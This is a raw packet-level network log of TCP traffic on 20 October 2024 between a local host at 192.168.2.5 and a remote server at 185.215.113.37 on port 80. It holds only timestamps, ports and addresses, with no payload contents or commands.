Oct 20, 2024 08:40:06.661293983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661295891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661330938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661340952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661341906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661362886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661372900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661385059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661406994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661413908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661442995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661454916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661456108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661484003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661489010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661499977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661521912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661535978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661550045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661560059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661592007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661597013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661642075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.702662945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.702697039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.702730894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.702745914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.702747107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.702780008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.702789068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.702815056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.702821970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.702852011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.703528881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.703583956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.703649998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.703681946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.703696966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.703713894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.703722954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.703746080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.703759909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.703779936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.703788996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.703830004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.703831911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.703886032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.703886986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.703927994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.703933954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.703968048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.703984022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.703999043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704009056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704032898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704040051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704065084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704077005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704097033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704104900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704128981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704135895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704163074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704171896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704200983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704291105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704323053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704343081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704354048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704361916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704387903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704401016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704420090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704426050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704463005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704471111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704503059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704514027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704547882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704551935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704583883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704592943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704616070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704627037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704644918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704658031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704679966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704688072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704714060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704721928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704746962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704754114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704780102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704787970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704813957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.704823971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.704852104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.705782890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.705832958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.705878973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.705910921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.705926895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.705943108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.705955029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.705976963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.705986023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706010103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706017971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706053972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706062078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706094980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706105947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706126928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706137896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706160069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706170082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706202984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706208944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706250906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706259012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706295013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706314087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706327915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706331015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706374884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706379890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706428051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706430912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706475019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706480026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706513882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706528902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706548929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706552982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706583977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706593990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706615925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706624031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706657887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706666946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706707954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706713915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706748009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706763029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706779003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706793070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706819057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706824064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706862926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706872940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706918001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.706923008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706957102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.706959963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707000017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707015991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707060099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707066059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707098007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707108021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707137108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707148075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707180977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707191944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707221031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707233906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707267046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707278013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707298994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707312107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707334995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707338095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707366943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707380056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707406044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707437992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707469940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707480907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707503080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707511902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707535982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707545996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707570076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707578897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707602978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707607031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707636118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707645893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707668066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707679987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707699060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707710028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707731962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707741976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707765102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707773924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707797050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707808018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707828999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707839012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707863092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707875013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707895041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707906008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707928896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707940102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707961082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.707973003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.707997084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708003044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708029032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708036900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708060980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708070993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708096027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708106041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708142996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708152056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708178043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708188057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708209991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708220005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708244085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708254099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708276987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708287954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708309889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708319902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708343029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708352089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708375931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708384991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708410025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708419085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708445072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708456993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708479881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708492041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708513021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708523035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708545923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708553076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708576918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708585978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708614111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708621979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708647013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708661079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708678007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708688021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708712101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708719969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708745003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708751917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708776951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708787918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708810091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708820105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708842993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708852053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708875895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708887100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708909035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708918095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708942890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708952904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.708976984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.708986044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.709012032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.709023952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.709044933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.709055901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.709079981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.709089041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.709112883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.709122896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.709142923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.709150076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.709177971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.709186077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.709211111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.709216118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.709242105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.709254980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.709274054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.709281921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.709306955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.709316969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.709340096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.709347963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.709372044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.709382057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.709414005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.709423065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.709462881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.985095978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.989996910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:08.718827009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:08.718903065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:08.719006062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:08.719147921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:08.719253063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:08.719296932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:08.847431898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:08.854557991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:10.381787062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:10.381880045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:10.382047892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:10.382110119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:11.184643984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:11.430813074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:11.430903912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:11.431251049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:11.431308985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:11.437539101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:12.285300970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:12.285418034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.067812920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.078386068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.423767090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.423933029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.423947096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.423960924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.423962116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.423979044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.423990965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.423995972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.424005032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.424010992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.424024105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:13.424026966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.424041986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:13.424042940 CEST	49704	80	192.168.2.5	185.215.113.37
